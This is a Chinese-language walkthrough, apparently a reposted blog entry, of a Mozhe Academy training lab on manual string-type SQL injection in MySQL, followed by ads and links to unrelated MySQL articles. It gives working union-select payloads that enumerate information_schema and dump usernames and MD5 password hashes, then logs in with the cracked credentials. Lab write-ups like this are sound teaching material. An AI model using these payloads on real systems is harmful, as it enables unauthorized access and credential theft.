墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)

摘要:
登录到平台目标范围后,您将在底部找到一个通知点。输入目标范围后,您会发现URL包含以下信息:?

登录平台靶靶场后会发现底部有个通知点进去之后会发现URL中带有?id这地方八成是可以注入的

墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第1张

 墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第2张

先尝试了一下在tingjigonggao后面加'号结果发下报错了看这提示应该是sql语句错误

墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第3张

然后尝试了下加上‘ and ’1‘=’1 结果回显是正常的,加上‘ and 1=1 报错说明这里是一个字符型的注入,当然这个靶场的题目也已经提示了这次的sql注入会是一个字符型注入

 墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第4张

墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第5张

接下来就是测试字段数了这里我一开始尝试’order by 1 #结果一直报错后来尝试了下把#改成%23就正常了,‘order by 4 %23的时候正常5的时候就报错了说明这个字段书是4

墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第6张墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第7张

然后就可以使用联合查询来看版本号数据库名了,

一开始我直接在tingjigonggao后面加上' union select 1,version(),database(),4 %23发现返回的只有正常页面后来尝试了下发现把tingjigonggao改成1或者其他内容就能返回我们想要的数据库名了,我觉得可能是停机公告是由内容查询出来的所以直接就把标题和内容的位置占据了,把我们想让他显示出来的版本号和数据库名给盖掉了,然后换成其他人内容的话数据库里面没有相应的标题和内容所以前半段的返回相当于空,那我们后面一段的联合查询内容就不会被覆盖了;

 墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第8张墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第9张

 现在知道数据库名了接下来就是看查表名了,在查表明的时候我犯了个小错误还一直都找不到原因直到看到别人的过关方法才知道自己错在了哪里,序号1为我以一开始使用的查询语句

此粗我在回去table_name的时候没有用group_concat()所以导致我只获得了一个名为notice的表名这个明显是通知数据所在的表么,接着获取列的时候也没有我们想要的账号密码

错误sql  1.' union select 1,table_name,table_schema,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'

正确的2.' union select 1,group_concat(table_name),table_schema,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'

在加了group_concat()之后所有的表名就都显示出来了,很明显stormgroup_member这张表才是存放登录用户名和密码的表

 墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第10张墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第11张

接下来我们来获取stormgroup_member表中的列名' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' %23

此处得知表中用户名和密码的列名分别为name和password

 墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第12张

接下来就是获取这张表中name咧和password列的所有数据了' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member %23

墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第13张

 这里发下那他有两个一样的账号和两串不同的md5码我们对md5码分别解码然后尝试登录,发下你第一个密码显示的是账号被禁用或密码错误只有第二个密码是可以正常登录的,正常登陆后就能找的key了

墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)第14张

免责声明:文章转载自《墨者学院 SQL手工注入漏洞测试(MySQL数据库-字符型)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇使用批处理创建永久生效的环境变量css精灵下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

mysql主从之keepalive+MySQL高可用

一 keepalive介绍 1.1 keepalived 是什么 keepalived 是集群管理中保证集群高可用的一个服务软件,用来防止单点故障。 1.2 keepalived 工作原理 keepalived 是以VRRP 协议为实现基础的,VRRP 全称VirtualRouter Redundancy Protocol,即虚拟路由冗余协议。虚拟路由冗...

解决centos7使用yum安装mysql 下载速度慢的问题

原文链接:https://blog.csdn.net/inslow/article/details/54177191 挺好用的,之前用腾讯云安装了半天,太慢了,改过之后速度快多了。 1、首先备份系统自带yum源配置文件/etc/yum.repos.d/CentOS-Base.repo 1 [root@localhost ~]# mv /etc/yum.r...

Mysql 简单问题汇总(持续更新)

主从架构相关问题 问题现象:从机连接主机时报错 [ERROR] Slave I/O: error connecting to master 'repl@192.168.0.50:3306' - retry-time: 60 retries: 1, Error_code: 2003 可能的原因有: a、网络不通(是否打开防火墙) b、复制用...

ubuntu1704安装zabbix3.2

一、环境准备   部署zabbix要安装apache、mysql和php sudo apt-get install apache2 sudo apt-get install mysql-server #需要设密码 sudo apt-get install php7.0 php7.0-gd libapache2-mod-php7.0 php7.0-my...

Doris与mysql语法对照,差异篇

## SQL语法差异:### doris中不支持分组列再使用distinctMSYQL:```SQLselect DISTINCT mid from order_card_detail GROUP BY mid```DORIS:```SQLselect mid from order_card_detail GROUP BY mid```doris执行异常:...

ASP.NET Core:使用EntityFrameworkCore操作MySql来丰富仓储模块

概述 上一篇简单介绍了Dapper的基本用法,数据的存储为SqlServer。那么这一篇就记录一下使用EFCore来操作MySql的一些方式,这种模式比较适合那种一个项目中需要操作多种数据库的模式。不过因为微软官方并没有提供其驱动,所以我们需要借助MySql官方提供的驱动进行基本的增删改查操作。这样一来我们也可以将数据库迁移到Linux服务器上了,是不是很...